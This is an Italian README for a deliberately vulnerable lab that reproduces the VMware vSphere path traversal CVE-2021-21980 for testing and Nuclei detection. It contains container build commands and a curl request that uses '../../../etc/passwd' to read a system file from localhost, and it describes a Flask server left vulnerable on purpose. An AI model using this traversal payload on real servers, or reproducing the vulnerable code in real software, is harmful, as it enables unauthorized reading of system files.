
Laboratorio vulnerabile realistico per CVE-2021-21980 (VMware vSphere Path Traversal) - Sfruttamento effettivo dei file, non un server fittizio
Ambiente di test realistico che simula la vulnerabilità di path traversal del client Web VMware vSphere.
⚠️ AVVISO: Ambiente di test vulnerabile. NON esporre a internet!
podman build -t vcenter-lab .
podman run -d -p 443:443 --name vcenter-lab vcenter-lab
curl -k "https://localhost/ui/vic-rest/services/containerView?id=../../../etc/passwd"
nuclei -t CVE-2021-21980.yaml -u https://localhost -debug
✅ Legge effettivamente i file dal filesystem del container usando I/O file Python
✅ Comportamento realistico - Gestisce il path traversal come il vero vSphere
✅ Intestazioni VMware - Include Server: VMware-HTTP-Server/1.0
✅ SSL/TLS - Generazione di certificati auto-firmati
✅ Non hardcoded - Restituisce il contenuto effettivo dei file
Dockerfile - Configurazione della build del containerserver.py - Applicazione Flask vulnerabileCVE-2021-21980.yaml - Template di rilevamento NucleiREADME.md - Questo fileQuesto laboratorio è stato validato con Nuclei mostrando:
podman stop vcenter-lab && podman rm vcenter-lab